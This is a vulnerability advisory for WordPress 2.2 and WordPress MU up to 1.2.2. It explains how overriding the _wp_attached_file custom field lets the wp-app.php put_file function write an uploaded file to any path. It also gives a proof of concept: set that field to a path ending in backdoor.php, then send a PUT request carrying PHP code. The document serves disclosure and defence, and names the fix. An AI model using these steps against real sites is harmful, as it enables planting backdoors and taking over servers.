Arbitrary File Upload Vulnerability in WordPress and WordPress MU
- Author
- Alexander Concha <alex at buayacorp dot com>
- Affected versions
- WordPress 2.2 and WordPress MU <= 1.2.2
Description
WordPress is a state-of-the-art semantic personal publishing platform with a focus on aesthetics, web standards, and usability.
WordPress allows the upload of limited set of file attachments. The name, title and other values are stored on wp_posts table with post_type=attachment, the path and other file properties are stored in wp_postmeta table using special fields named _wp_attached_file and _wp_attachment_metadata.
On the other hand, WordPress also gives the ability to add custom fields in normal posts or pages (this fields are stored in wp_postmeta table too), but it does not check whether this special meta-data fields of attachments are added in normal posts.
On wp-app.php, there is the following function that allows file uploads:
function put_file($postID) { $type = $this->get_accepted_content_type(); // first check if user can upload if(!current_user_can('upload_files')) $this->auth_required(__('You do not have permission to upload files.')); // check for not found global $entry; $this->set_current_entry($postID); // then whether user can edit the specific post if(!current_user_can('edit_post', $postID)) { $this->auth_required(__('Sorry, you do not have the right to edit this post.')); } $location = get_post_meta($entry['ID'], '_wp_attached_file', true); if(!isset($location)) $this->internal_error(__('Error ocurred while accessing post metadata for file location.')); $fp = fopen("php://input", "rb"); $localfp = fopen($location, "w+"); while(!feof($fp)) { fwrite($localfp,fread($fp, 4096)); } fclose($fp); fclose($localfp); log_app('function',"put_file($postID)"); $this->ok(); }
This function basically loads the path of the first attachment and writes the content that is posted to wp-app.php. So, if an attacker overrides the value of the first metadata attachment with a convenient filename, all the contents will be written to that file.
This bug has been proved to be critical in WordPress MU based sites, since every registered user that have a blog account can upload files.
Proof of Concept
Create or edit a post and add/override a custom field to it with the following value:
key : _wp_attached_file value : /home/vulnerable.com/wp/wp-content/uploads/backdoor.php
- Send a PUT request to wp-app.php and pass the post_ID value from step 1
PUT /wp/wp-app.php?action=/attachment/file/post_ID HTTP/1.1 Cookie: auth cookies Content-Type: image/gif Host: vulnerable.com Content-Length: the content length <?php echo "Hello World"; ?>
Solution
Upgrade to latest version of WordPress [MU]. This bug was fixed in changeset 5765.
Disclosure Timeline
- 06/16/2007 - Bug found
- 06/17/2007 - Vendor contact
- 06/21/2007 - WordPress 2.2.1 released
- 06/23/2007 - Public Disclosure